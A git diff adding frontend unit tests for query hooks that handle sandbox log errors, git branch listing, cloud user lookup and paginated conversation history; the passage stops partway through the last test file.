diff --git a/__tests__/hooks/query/use-bash-command-logs.test.tsx b/__tests__/hooks/query/use-bash-command-logs.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..d9bc65330d6c0578a2823617aeefc73f66ce0bbd
--- /dev/null
+++ b/__tests__/hooks/query/use-bash-command-logs.test.tsx
@@ -0,0 +1,391 @@
+/**
+ * Tests the error-tolerance logic in useBashCommandLogs.
+ *
+ * Cloud sandboxes can be paused, starting, errored, or deleted entirely
+ * — and even when `sandbox_status` says "RUNNING" the runtime can be
+ * unreachable for a moment. The hook is responsible for translating
+ * each of these states into a stable `sandboxIssue` code so the modal
+ * can render a targeted empty state instead of a raw axios error.
+ */
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import { renderHook, waitFor } from "@testing-library/react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { AxiosError, AxiosHeaders } from "axios";
+import { HttpError } from "@openhands/typescript-client";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import { useBashCommandLogs } from "#/hooks/query/use-bash-command-logs";
+
+// ── Mocks ─────────────────────────────────────────────────────────────────────
+
+const { useUserConversationMock, useActiveBackendMock, listOutputsMock } =
+  vi.hoisted(() => ({
+    useUserConversationMock: vi.fn(),
+    useActiveBackendMock: vi.fn(),
+    listOutputsMock: vi.fn(),
+  }));
+
+vi.mock("#/hooks/query/use-user-conversation", () => ({
+  useUserConversation: (...args: unknown[]) => useUserConversationMock(...args),
+}));
+
+vi.mock("#/contexts/active-backend-context", () => ({
+  useActiveBackend: () => useActiveBackendMock(),
+}));
+
+vi.mock("#/api/bash-service/bash-service.api", () => ({
+  default: { listOutputs: (...args: unknown[]) => listOutputsMock(...args) },
+}));
+
+// ── Helpers ───────────────────────────────────────────────────────────────────
+
+function wrapper({ children }: { children: React.ReactNode }) {
+  const client = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  return <QueryClientProvider client={client}>{children}</QueryClientProvider>;
+}
+
+function setActiveBackend(kind: "cloud" | "local") {
+  useActiveBackendMock.mockReturnValue({
+    backend: { id: "bk-1", kind },
+    orgId: null,
+  });
+}
+
+function setConversation(partial: Partial<AppConversation> | null) {
+  useUserConversationMock.mockReturnValue({
+    data: partial,
+    isFetched: true,
+    isPending: false,
+  });
+}
+
+beforeEach(() => {
+  useUserConversationMock.mockReset();
+  useActiveBackendMock.mockReset();
+  listOutputsMock.mockReset();
+});
+
+afterEach(() => {
+  vi.clearAllMocks();
+});
+
+// ── Tests ─────────────────────────────────────────────────────────────────────
+
+describe("useBashCommandLogs — cloud sandbox state handling", () => {
+  beforeEach(() => setActiveBackend("cloud"));
+
+  it.each([
+    { status: "MISSING" as const, issue: "missing" },
+    { status: "PAUSED" as const, issue: "paused" },
+    { status: "STARTING" as const, issue: "starting" },
+    { status: "ERROR" as const, issue: "errored" },
+  ])(
+    "reports sandboxIssue=$issue and skips the fetch when sandbox_status=$status",
+    async ({ status, issue }) => {
+      setConversation({
+        conversation_url: "https://runtime.example.com",
+        sandbox_status: status,
+      });
+
+      const { result } = renderHook(
+        () =>
+          useBashCommandLogs({
+            conversationId: "conv-1",
+            bashCommandId: "cmd-1",
+          }),
+        { wrapper },
+      );
+
+      expect(result.current.sandboxIssue).toBe(issue);
+      // Critical: we did NOT fire a doomed request at a known-bad sandbox.
+      expect(listOutputsMock).not.toHaveBeenCalled();
+    },
+  );
+
+  it("reports sandboxIssue=missing when conversation has no runtime URL", () => {
+    setConversation({
+      conversation_url: null,
+      sandbox_status: "RUNNING",
+    });
+
+    const { result } = renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+        }),
+      { wrapper },
+    );
+
+    expect(result.current.sandboxIssue).toBe("missing");
+    expect(listOutputsMock).not.toHaveBeenCalled();
+  });
+
+  it("reports conversationMissing when the lookup returns null", () => {
+    setConversation(null);
+
+    const { result } = renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+        }),
+      { wrapper },
+    );
+
+    expect(result.current.conversationMissing).toBe(true);
+    expect(result.current.sandboxIssue).toBeNull();
+    expect(listOutputsMock).not.toHaveBeenCalled();
+  });
+
+  it("fires the fetch and returns data when sandbox is RUNNING", async () => {
+    setConversation({
+      conversation_url: "https://runtime.example.com",
+      sandbox_status: "RUNNING",
+    });
+    listOutputsMock.mockResolvedValueOnce([
+      { kind: "BashOutput", stdout: "hi", stderr: null },
+    ]);
+
+    const { result } = renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+        }),
+      { wrapper },
+    );
+
+    await waitFor(() => expect(result.current.data).toBeTruthy());
+    expect(result.current.sandboxIssue).toBeNull();
+    expect(listOutputsMock).toHaveBeenCalledTimes(1);
+  });
+
+  it.each([
+    { status: 404, label: "404 not-found" },
+    { status: 502, label: "502 bad-gateway" },
+    { status: 503, label: "503 unavailable" },
+    { status: 504, label: "504 gateway-timeout" },
+  ])(
+    "classifies $label responses as sandboxIssue=unreachable",
+    async ({ status }) => {
+      setConversation({
+        conversation_url: "https://runtime.example.com",
+        sandbox_status: "RUNNING",
+      });
+      const headers = new AxiosHeaders();
+      listOutputsMock.mockRejectedValueOnce(
+        new AxiosError(
+          `Request failed with status code ${status}`,
+          "ERR",
+          {
+            headers,
+          } as never,
+          null,
+          {
+            status,
+            data: {},
+            statusText: "",
+            headers,
+            config: { headers },
+          } as never,
+        ),
+      );
+
+      const { result } = renderHook(
+        () =>
+          useBashCommandLogs({
+            conversationId: "conv-1",
+            bashCommandId: "cmd-1",
+          }),
+        { wrapper },
+      );
+
+      await waitFor(() =>
+        expect(result.current.sandboxIssue).toBe("unreachable"),
+      );
+      // Don't double-report: when an issue is detected we hide the raw
+      // error so the modal doesn't render both the empty state AND the
+      // generic "Failed: AxiosError" line.
+      expect(result.current.error).toBeNull();
+    },
+  );
+
+  it("classifies network errors (no response) as sandboxIssue=unreachable", async () => {
+    setConversation({
+      conversation_url: "https://runtime.example.com",
+      sandbox_status: "RUNNING",
+    });
+    const err = new AxiosError("Network Error", "ERR_NETWORK");
+    err.response = undefined;
+    listOutputsMock.mockRejectedValueOnce(err);
+
+    const { result } = renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+        }),
+      { wrapper },
+    );
+
+    await waitFor(() =>
+      expect(result.current.sandboxIssue).toBe("unreachable"),
+    );
+  });
+
+  it("does NOT collapse 401/403 into unreachable (auth bugs surface as errors)", async () => {
+    setConversation({
+      conversation_url: "https://runtime.example.com",
+      sandbox_status: "RUNNING",
+    });
+    const headers = new AxiosHeaders();
+    listOutputsMock.mockRejectedValueOnce(
+      new AxiosError("Forbidden", "ERR", { headers } as never, null, {
+        status: 403,
+        data: {},
+        statusText: "Forbidden",
+        headers,
+        config: { headers },
+      } as never),
+    );
+
+    const { result } = renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+        }),
+      { wrapper },
+    );
+
+    await waitFor(() => expect(result.current.error).toBeTruthy());
+    expect(result.current.sandboxIssue).toBeNull();
+  });
+
+  it.each([
+    { status: 404, label: "404 not-found" },
+    { status: 503, label: "503 unavailable" },
+  ])(
+    "classifies shared-client HttpError $label responses as sandboxIssue=unreachable",
+    async ({ status }) => {
+      setConversation({
+        conversation_url: "https://runtime.example.com",
+        sandbox_status: "RUNNING",
+      });
+      listOutputsMock.mockRejectedValueOnce(
+        new HttpError(status, "Error", { detail: "sandbox gone" }),
+      );
+
+      const { result } = renderHook(
+        () =>
+          useBashCommandLogs({
+            conversationId: "conv-1",
+            bashCommandId: "cmd-1",
+          }),
+        { wrapper },
+      );
+
+      await waitFor(() =>
+        expect(result.current.sandboxIssue).toBe("unreachable"),
+      );
+      expect(result.current.error).toBeNull();
+    },
+  );
+
+  it("does NOT collapse an HttpError 401 into unreachable (auth bugs surface as errors)", async () => {
+    setConversation({
+      conversation_url: "https://runtime.example.com",
+      sandbox_status: "RUNNING",
+    });
+    listOutputsMock.mockRejectedValueOnce(
+      new HttpError(401, "Unauthorized", { detail: "bad token" }),
+    );
+
+    const { result } = renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+        }),
+      { wrapper },
+    );
+
+    await waitFor(() => expect(result.current.error).toBeTruthy());
+    expect(result.current.sandboxIssue).toBeNull();
+  });
+
+  it.each([
+    {
+      label: "network TypeError",
+      makeError: () => new TypeError("Failed to fetch"),
+    },
+    {
+      label: "TimeoutError abort",
+      makeError: () =>
+        Object.assign(new Error("The operation timed out"), {
+          name: "TimeoutError",
+        }),
+    },
+    {
+      label: "timeout wrapped with cause",
+      makeError: () =>
+        new Error("Request timeout after 30000ms", {
+          cause: Object.assign(new Error("timed out"), {
+            name: "TimeoutError",
+          }),
+        }),
+    },
+  ])(
+    "classifies fetch transport failures ($label) as sandboxIssue=unreachable",
+    async ({ makeError }) => {
+      setConversation({
+        conversation_url: "https://runtime.example.com",
+        sandbox_status: "RUNNING",
+      });
+      listOutputsMock.mockRejectedValueOnce(makeError());
+
+      const { result } = renderHook(
+        () =>
+          useBashCommandLogs({
+            conversationId: "conv-1",
+            bashCommandId: "cmd-1",
+          }),
+        { wrapper },
+      );
+
+      await waitFor(() =>
+        expect(result.current.sandboxIssue).toBe("unreachable"),
+      );
+    },
+  );
+});
+
+describe("useBashCommandLogs — local backend", () => {
+  beforeEach(() => setActiveBackend("local"));
+
+  it("never reports a sandboxIssue (local has no sandbox lifecycle)", async () => {
+    setConversation({
+      conversation_url: null,
+      sandbox_status: null,
+    });
+    listOutputsMock.mockResolvedValueOnce([]);
+
+    const { result } = renderHook(
+      () =>
+        useBashCommandLogs({
+          conversationId: "conv-1",
+          bashCommandId: "cmd-1",
+        }),
+      { wrapper },
+    );
+
+    await waitFor(() => expect(result.current.data).toEqual([]));
+    expect(result.current.sandboxIssue).toBeNull();
+    // Even network/5xx errors stay as raw errors in local mode — they
+    // typically mean the local agent-server is misconfigured, not a
+    // sandbox lifecycle issue.
+    expect(listOutputsMock).toHaveBeenCalledTimes(1);
+  });
+});
diff --git a/__tests__/hooks/query/use-branch-data.test.ts b/__tests__/hooks/query/use-branch-data.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..05af26fdde6aa4723a8b8584271a1fc370d3549c
--- /dev/null
+++ b/__tests__/hooks/query/use-branch-data.test.ts
@@ -0,0 +1,386 @@
+import { renderHook } from "@testing-library/react";
+import { describe, expect, it, vi } from "vitest";
+import { useBranchData } from "#/hooks/query/use-branch-data";
+import type { Branch } from "#/types/git";
+import type { Provider } from "#/types/settings";
+
+const mocks = vi.hoisted(() => ({
+  repositoryBranches: vi.fn(),
+  searchBranches: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-repository-branches", () => ({
+  useRepositoryBranchesPaginated: mocks.repositoryBranches,
+}));
+
+vi.mock("#/hooks/query/use-search-branches", () => ({
+  useSearchBranches: mocks.searchBranches,
+}));
+
+interface PaginatedBranchData {
+  pages?: Array<{ items: Branch[] }>;
+  pageParams: Array<string | null>;
+}
+
+interface SearchResult {
+  data: Branch[] | undefined;
+  isLoading: boolean;
+}
+
+interface HookProps {
+  repository: string | null;
+  provider: Provider;
+  defaultBranch: string | null;
+  processedSearchInput: string;
+  inputValue: string;
+  selectedBranch?: Branch | null;
+}
+
+const getBranch = (
+  name: string,
+  commitSha: string = `sha-${name}`,
+  protectedBranch = false,
+): Branch => ({
+  name,
+  commit_sha: commitSha,
+  protected: protectedBranch,
+});
+
+const getPaginatedData = (...pages: Branch[][]): PaginatedBranchData => ({
+  pages: pages.map((items) => ({ items })),
+  pageParams: pages.map(() => null),
+});
+
+const getHookProps = (overrides: Partial<HookProps> = {}): HookProps => ({
+  repository: "openhands/agent-canvas",
+  provider: "github",
+  defaultBranch: null,
+  processedSearchInput: "",
+  inputValue: "",
+  selectedBranch: null,
+  ...overrides,
+});
+
+const setupDependencies = () => {
+  const fetchNextPage = vi.fn();
+  const paginated = {
+    data: undefined as PaginatedBranchData | undefined,
+    fetchNextPage,
+    hasNextPage: false,
+    isLoading: false,
+    isFetchingNextPage: false,
+    isError: false,
+  };
+  const searchResults = new Map<string, SearchResult>();
+
+  mocks.repositoryBranches.mockReset();
+  mocks.searchBranches.mockReset();
+  mocks.repositoryBranches.mockImplementation(() => paginated);
+  mocks.searchBranches.mockImplementation(
+    (_repository: string | null, query: string) =>
+      searchResults.get(query) ?? {
+        data: undefined,
+        isLoading: false,
+      },
+  );
+
+  return { fetchNextPage, paginated, searchResults };
+};
+
+const renderBranchData = (overrides: Partial<HookProps> = {}) => {
+  const props = getHookProps(overrides);
+  const hook = renderHook(
+    (currentProps: HookProps) =>
+      useBranchData(
+        currentProps.repository,
+        currentProps.provider,
+        currentProps.defaultBranch,
+        currentProps.processedSearchInput,
+        currentProps.inputValue,
+        currentProps.selectedBranch,
+      ),
+    { initialProps: props },
+  );
+
+  return { hook, props };
+};
+
+describe("useBranchData", () => {
+  it("returns empty branch lists and forwards query state when data is unavailable", () => {
+    const dependencies = setupDependencies();
+    dependencies.paginated.hasNextPage = true;
+    dependencies.paginated.isFetchingNextPage = true;
+    dependencies.paginated.isError = true;
+    dependencies.searchResults.set("feature", {
+      data: undefined,
+      isLoading: true,
+    });
+
+    const { hook } = renderBranchData({
+      processedSearchInput: "feature",
+      inputValue: "feature",
+    });
+
+    expect(hook.result.current).toEqual({
+      branches: [],
+      allBranches: [],
+      fetchNextPage: dependencies.fetchNextPage,
+      hasNextPage: true,
+      isLoading: false,
+      isFetchingNextPage: true,
+      isError: true,
+      isSearchLoading: true,
+    });
+    expect(mocks.repositoryBranches).toHaveBeenCalledWith(
+      "openhands/agent-canvas",
+      30,
+      "github",
+    );
+    expect(mocks.searchBranches).toHaveBeenNthCalledWith(
+      1,
+      "openhands/agent-canvas",
+      "feature",
+      30,
+      "github",
+    );
+    expect(mocks.searchBranches).toHaveBeenNthCalledWith(
+      2,
+      "openhands/agent-canvas",
+      "",
+      30,
+      "github",
+    );
+  });
+
+  it("treats branch data without a pages collection as empty", () => {
+    const dependencies = setupDependencies();
+    dependencies.paginated.data = { pages: undefined, pageParams: [] };
+
+    const { hook } = renderBranchData();
+
+    expect(hook.result.current.allBranches).toEqual([]);
+    expect(hook.result.current.branches).toEqual([]);
+  });
+
+  it("updates flattened branches and default priority when pages change", () => {
+    const dependencies = setupDependencies();
+    const feature = getBranch("feature/coverage", "feature-sha");
+    const develop = getBranch("develop", "develop-sha");
+    const mainFromSearch = getBranch("main", "search-main-sha", true);
+    const mainLoaded = getBranch("main", "loaded-main-sha", true);
+    const duplicateMain = getBranch("main", "duplicate-main-sha", true);
+
+    dependencies.paginated.data = getPaginatedData([feature]);
+    dependencies.searchResults.set("main", {
+      data: [develop, mainFromSearch],
+      isLoading: true,
+    });
+
+    const { hook, props } = renderBranchData({ defaultBranch: "main" });
+
+    expect(hook.result.current.allBranches).toEqual([feature]);
+    expect(hook.result.current.branches).toEqual([mainFromSearch, feature]);
+    expect(hook.result.current.isLoading).toBe(true);
+    expect(hook.result.current.isSearchLoading).toBe(false);
+    expect(mocks.searchBranches).toHaveBeenNthCalledWith(
+      2,
+      "openhands/agent-canvas",
+      "main",
+      30,
+      "github",
+    );
+
+    dependencies.paginated.data = getPaginatedData(
+      [develop],
+      [mainLoaded, duplicateMain, feature],
+    );
+    dependencies.paginated.isLoading = true;
+    hook.rerender(props);
+
+    expect(hook.result.current.allBranches).toEqual([
+      develop,
+      mainLoaded,
+      duplicateMain,
+      feature,
+    ]);
+    expect(hook.result.current.branches).toEqual([
+      mainLoaded,
+      develop,
+      feature,
+    ]);
+    expect(hook.result.current.isLoading).toBe(true);
+    expect(mocks.searchBranches).toHaveBeenNthCalledWith(
+      4,
+      "openhands/agent-canvas",
+      "",
+      30,
+      "github",
+    );
+  });
+
+  it.each([
+    {
+      reason: "there is no default branch",
+      defaultBranch: null,
+      pages: [[getBranch("feature/no-default")]],
+      processedSearchInput: "",
+    },
+    {
+      reason: "the default branch is already loaded",
+      defaultBranch: "main",
+      pages: [[getBranch("main")]],
+      processedSearchInput: "",
+    },
+    {
+      reason: "no branches have loaded",
+      defaultBranch: "main",
+      pages: [],
+      processedSearchInput: "",
+    },
+    {
+      reason: "the user is searching",
+      defaultBranch: "main",
+      pages: [[getBranch("develop")]],
+      processedSearchInput: "feature",
+    },
+  ])(
+    "does not search for the default when $reason",
+    ({ defaultBranch, pages, processedSearchInput }) => {
+      const dependencies = setupDependencies();
+      dependencies.paginated.data = getPaginatedData(...pages);
+
+      renderBranchData({
+        defaultBranch,
+        processedSearchInput,
+        inputValue: processedSearchInput,
+      });
+
+      expect(mocks.searchBranches).toHaveBeenNthCalledWith(
+        2,
+        "openhands/agent-canvas",
+        "",
+        30,
+        "github",
+      );
+    },
+  );
+
+  it("uses active search results and prioritizes their default branch", () => {
+    const dependencies = setupDependencies();
+    const loadedDevelop = getBranch("develop", "loaded-develop-sha");
+    const feature = getBranch("feature/search", "feature-search-sha");
+    const mainFromSearch = getBranch("main", "main-search-sha", true);
+    const duplicateMain = getBranch("main", "main-duplicate-sha", true);
+    const release = getBranch("release", "release-sha");
+    dependencies.paginated.data = getPaginatedData([loadedDevelop]);
+    dependencies.searchResults.set("feature", {
+      data: [feature, mainFromSearch, duplicateMain, release],
+      isLoading: false,
+    });
+
+    const { hook } = renderBranchData({
+      defaultBranch: "main",
+      processedSearchInput: "feature",
+      inputValue: "feature",
+      selectedBranch: undefined,
+    });
+
+    expect(hook.result.current.allBranches).toEqual([loadedDevelop]);
+    expect(hook.result.current.branches).toEqual([
+      mainFromSearch,
+      feature,
+      release,
+    ]);
+  });
+
+  it("keeps loaded branches when the input exactly matches the selection", () => {
+    const dependencies = setupDependencies();
+    const loadedDevelop = getBranch("develop", "loaded-develop-sha");
+    const selectedFeature = getBranch("feature/exact", "selected-sha");
+    const searchFeature = getBranch("feature/exact", "search-sha");
+    dependencies.paginated.data = getPaginatedData([loadedDevelop]);
+    dependencies.searchResults.set("feature/exact", {
+      data: [searchFeature],
+      isLoading: false,
+    });
+
+    const { hook } = renderBranchData({
+      processedSearchInput: "feature/exact",
+      inputValue: "feature/exact",
+      selectedBranch: selectedFeature,
+    });
+
+    expect(hook.result.current.branches).toEqual([loadedDevelop]);
+  });
+
+  it("falls back to loaded branches while an active search has no data", () => {
+    const dependencies = setupDependencies();
+    const develop = getBranch("develop");
+    dependencies.paginated.data = getPaginatedData([develop]);
+
+    const { hook } = renderBranchData({
+      processedSearchInput: "missing",
+      inputValue: "missing",
+    });
+
+    expect(hook.result.current.branches).toEqual([develop]);
+  });
+
+  it("keeps search results when neither search source contains the default", () => {
+    const dependencies = setupDependencies();
+    const loadedDevelop = getBranch("develop", "loaded-develop-sha");
+    const feature = getBranch("feature/only", "feature-only-sha");
+    dependencies.paginated.data = getPaginatedData([loadedDevelop]);
+    dependencies.searchResults.set("feature", {
+      data: [feature],
+      isLoading: false,
+    });
+
+    const { hook } = renderBranchData({
+      defaultBranch: "main",
+      processedSearchInput: "feature",
+      inputValue: "feature",
+    });
+
+    expect(hook.result.current.branches).toEqual([feature]);
+  });
+
+  it.each([
+    {
+      state: "unavailable",
+      defaultSearchData: undefined,
+    },
+    {
+      state: "empty",
+      defaultSearchData: [] as Branch[],
+    },
+    {
+      state: "nonmatching",
+      defaultSearchData: [getBranch("develop", "search-develop-sha")],
+    },
+  ])(
+    "keeps loaded branches when default search data is $state",
+    ({ defaultSearchData }) => {
+      const dependencies = setupDependencies();
+      const feature = getBranch("feature/loaded", "loaded-feature-sha");
+      dependencies.paginated.data = getPaginatedData([feature]);
+      if (defaultSearchData !== undefined) {
+        dependencies.searchResults.set("main", {
+          data: defaultSearchData,
+          isLoading: false,
+        });
+      }
+
+      const { hook } = renderBranchData({ defaultBranch: "main" });
+
+      expect(hook.result.current.branches).toEqual([feature]);
+      expect(mocks.searchBranches).toHaveBeenNthCalledWith(
+        2,
+        "openhands/agent-canvas",
+        "main",
+        30,
+        "github",
+      );
+    },
+  );
+});
diff --git a/__tests__/hooks/query/use-cloud-current-user-id.test.tsx b/__tests__/hooks/query/use-cloud-current-user-id.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c8197caea712e46036a93a49d7e0ae8a95c5735a
--- /dev/null
+++ b/__tests__/hooks/query/use-cloud-current-user-id.test.tsx
@@ -0,0 +1,129 @@
+import React from "react";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { renderHook, waitFor } from "@testing-library/react";
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { useCloudCurrentUserId } from "#/hooks/query/use-cloud-current-user-id";
+
+const getCloudOrganizationMeMock = vi.fn();
+const useAllCloudOrganizationsMock = vi.fn();
+
+vi.mock("#/api/cloud/organization-service.api", () => ({
+  getCloudOrganizationMe: (...args: unknown[]) =>
+    getCloudOrganizationMeMock(...args),
+}));
+vi.mock("#/hooks/query/use-cloud-organizations", () => ({
+  useAllCloudOrganizations: () => useAllCloudOrganizationsMock(),
+}));
+
+const cloudBackend: Backend = {
+  id: "prod",
+  name: "Production",
+  host: "https://app.all-hands.dev",
+  apiKey: "bearer-token",
+  kind: "cloud",
+};
+
+function makeWrapper() {
+  const queryClient = new QueryClient({
+    defaultOptions: { queries: { retry: false } },
+  });
+  function Wrapper({ children }: { children: React.ReactNode }) {
+    return (
+      <QueryClientProvider client={queryClient}>
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    );
+  }
+  return Wrapper;
+}
+
+beforeEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+  setRegisteredBackends([cloudBackend]);
+  getCloudOrganizationMeMock.mockReset();
+  useAllCloudOrganizationsMock.mockReset();
+  useAllCloudOrganizationsMock.mockReturnValue({
+    [cloudBackend.id]: {
+      backend: cloudBackend,
+      isLoading: false,
+      orgs: [
+        { id: "org-personal", name: "Personal" },
+        { id: "org-2", name: "Acme Inc" },
+      ],
+    },
+  });
+});
+
+afterEach(() => {
+  window.localStorage.clear();
+  __resetActiveStoreForTests();
+});
+
+describe("useCloudCurrentUserId", () => {
+  it("uses active.orgId for /me when the active backend is this cloud backend", async () => {
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+    getCloudOrganizationMeMock.mockResolvedValue({
+      orgId: "org-2",
+      userId: "user-X",
+    });
+
+    const { result } = renderHook(() => useCloudCurrentUserId(), {
+      wrapper: makeWrapper(),
+    });
+
+    await waitFor(() => {
+      expect(result.current[cloudBackend.id]?.userId).toBe("user-X");
+    });
+
+    // /me must be invoked with the ACTIVE org (org-2), not the first org.
+    expect(getCloudOrganizationMeMock).toHaveBeenCalledOnce();
+    expect(getCloudOrganizationMeMock).toHaveBeenCalledWith(
+      "org-2",
+      cloudBackend,
+    );
+  });
+
+  it("falls back to the first org for /me when no org is selected yet", async () => {
+    // Active is bundled local — `prod` is registered but not active.
+    getCloudOrganizationMeMock.mockResolvedValue({
+      orgId: "org-personal",
+      userId: "user-X",
+    });
+
+    const { result } = renderHook(() => useCloudCurrentUserId(), {
+      wrapper: makeWrapper(),
+    });
+
+    await waitFor(() => {
+      expect(result.current[cloudBackend.id]?.userId).toBe("user-X");
+    });
+
+    // Sentinel = first org.
+    expect(getCloudOrganizationMeMock).toHaveBeenCalledWith(
+      "org-personal",
+      cloudBackend,
+    );
+  });
+
+  it("issues exactly one /me call per cloud backend (not one per org)", async () => {
+    setActiveSelection({ backendId: cloudBackend.id, orgId: "org-2" });
+    getCloudOrganizationMeMock.mockResolvedValue({
+      orgId: "org-2",
+      userId: "user-X",
+    });
+
+    renderHook(() => useCloudCurrentUserId(), { wrapper: makeWrapper() });
+
+    await waitFor(() => {
+      expect(getCloudOrganizationMeMock).toHaveBeenCalledTimes(1);
+    });
+  });
+});
diff --git a/__tests__/hooks/query/use-conversation-history.test.tsx b/__tests__/hooks/query/use-conversation-history.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..39b5810a8e810e34704cecf8ad815e948ec34a70
--- /dev/null
+++ b/__tests__/hooks/query/use-conversation-history.test.tsx
@@ -0,0 +1,461 @@
+import { describe, it, expect, afterEach, beforeEach, vi } from "vitest";
+import React from "react";
+import { act, renderHook, waitFor } from "@testing-library/react";
+import {
+  QueryClient,
+  QueryClientProvider,
+  onlineManager,
+} from "@tanstack/react-query";
+
+import {
+  INITIAL_HISTORY_PAGE_SIZE,
+  useConversationHistory,
+} from "#/hooks/query/use-conversation-history";
+import EventService from "#/api/event-service/event-service.api";
+import { useUserConversation } from "#/hooks/query/use-user-conversation";
+import type { Conversation } from "#/api/open-hands.types";
+import type { OpenHandsEvent } from "#/types/agent-server/core";
+import type { EventSearchPage } from "#/api/event-service/event-service.types";
+
+function makeConversation(version: "V0" | "V1"): Conversation {
+  return {
+    conversation_id: "conv-test",
+    title: "Test Conversation",
+    selected_repository: null,
+    selected_branch: null,
+    git_provider: null,
+    last_updated_at: new Date().toISOString(),
+    created_at: new Date().toISOString(),
+    status: "RUNNING",
+    runtime_status: null,
+    url: null,
+    session_api_key: null,
+    conversation_version: version,
+  };
+}
+
+function makeEvent(id = "evt-1", timestamp = "2024-01-01T00:00:00Z") {
+  return { id, timestamp } as unknown as OpenHandsEvent;
+}
+
+function makePage(
+  items: OpenHandsEvent[] = [],
+  nextPageId: string | null = null,
+): EventSearchPage<OpenHandsEvent> {
+  return { items, next_page_id: nextPageId };
+}
+
+// --------------------
+// Mocks
+// --------------------
+vi.mock("#/api/event-service/event-service.api");
+vi.mock("#/hooks/query/use-user-conversation");
+
+const queryClient = new QueryClient({
+  defaultOptions: {
+    queries: {
+      retry: false,
+    },
+  },
+});
+
+function wrapper({ children }: { children: React.ReactNode }) {
+  return (
+    <QueryClientProvider client={queryClient}>{children}</QueryClientProvider>
+  );
+}
+
+// --------------------
+// Tests
+// --------------------
+describe("useConversationHistory", () => {
+  afterEach(() => {
+    vi.clearAllMocks();
+  });
+
+  it("requests the most recent INITIAL_HISTORY_PAGE_SIZE events sorted desc", async () => {
+    const v1SearchEventsSpy = vi.spyOn(EventService, "searchEvents");
+
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    v1SearchEventsSpy.mockResolvedValue(makePage([makeEvent()]));
+
+    const { result } = renderHook(() => useConversationHistory("conv-123"), {
+      wrapper,
+    });
+
+    await waitFor(() => {
+      expect(result.current.data).toBeDefined();
+    });
+
+    // Signature: (conversationId, conversationUrl, sessionApiKey, options).
+    // Initial load only fetches the tail (TIMESTAMP_DESC + page-size limit)
+    // so the user sees the most recent 50 events first.
+    expect(EventService.searchEvents).toHaveBeenCalledWith(
+      "conv-123",
+      null,
+      null,
+      {
+        limit: INITIAL_HISTORY_PAGE_SIZE,
+        sortOrder: "TIMESTAMP_DESC",
+      },
+    );
+  });
+
+  it("returns events in chronological order even though the server returns desc", async () => {
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    const newest = makeEvent("evt-newest", "2024-02-01T00:00:00Z");
+    const middle = makeEvent("evt-middle", "2024-01-15T00:00:00Z");
+    const oldest = makeEvent("evt-oldest", "2024-01-01T00:00:00Z");
+
+    vi.spyOn(EventService, "searchEvents").mockResolvedValue(
+      makePage([newest, middle, oldest], "page-2"),
+    );
+
+    const { result } = renderHook(() => useConversationHistory("conv-order"), {
+      wrapper,
+    });
+
+    await waitFor(() => {
+      expect(result.current.data).toBeDefined();
+    });
+
+    expect(result.current.data?.events.map((e: any) => e.id)).toEqual([
+      "evt-oldest",
+      "evt-middle",
+      "evt-newest",
+    ]);
+    expect(result.current.data?.hasMore).toBe(true);
+    expect(result.current.data?.nextPageId).toBe("page-2");
+  });
+
+  it("treats a full initial page without next_page_id as having more history", async () => {
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    vi.spyOn(EventService, "searchEvents").mockResolvedValue(
+      makePage(
+        Array.from({ length: INITIAL_HISTORY_PAGE_SIZE }, (_, index) =>
+          makeEvent(`evt-${index}`, new Date(2024, 0, index + 1).toISOString()),
+        ),
+        null,
+      ),
+    );
+
+    const { result } = renderHook(
+      () => useConversationHistory("conv-full-page"),
+      {
+        wrapper,
+      },
+    );
+
+    await waitFor(() => {
+      expect(result.current.data).toBeDefined();
+    });
+
+    expect(result.current.data?.hasMore).toBe(true);
+  });
+
+  it("throws a descriptive error when searchEvents returns malformed items", async () => {
+    vi.mocked(useUserConversation).mockReturnValue({
+      data: makeConversation("V1"),
+      isLoading: false,
+      isPending: false,
+      isError: false,
+      error: null,
+      refetch: vi.fn(),
+    } as any);
+
+    vi.spyOn(EventService, "searchEvents").mockResolvedValue({
+      items: { bad: true },
+      next_page_id: null,
+    } as unknown as EventSearchPage<OpenHandsEvent>);
+
+    const { result } = renderHook(
+      () => useConversationHistory("conv-malformed"),
+      { wrapper },
+    );
+
+    // The hook sets `retry: 1` (overriding this file's `retry: false` client
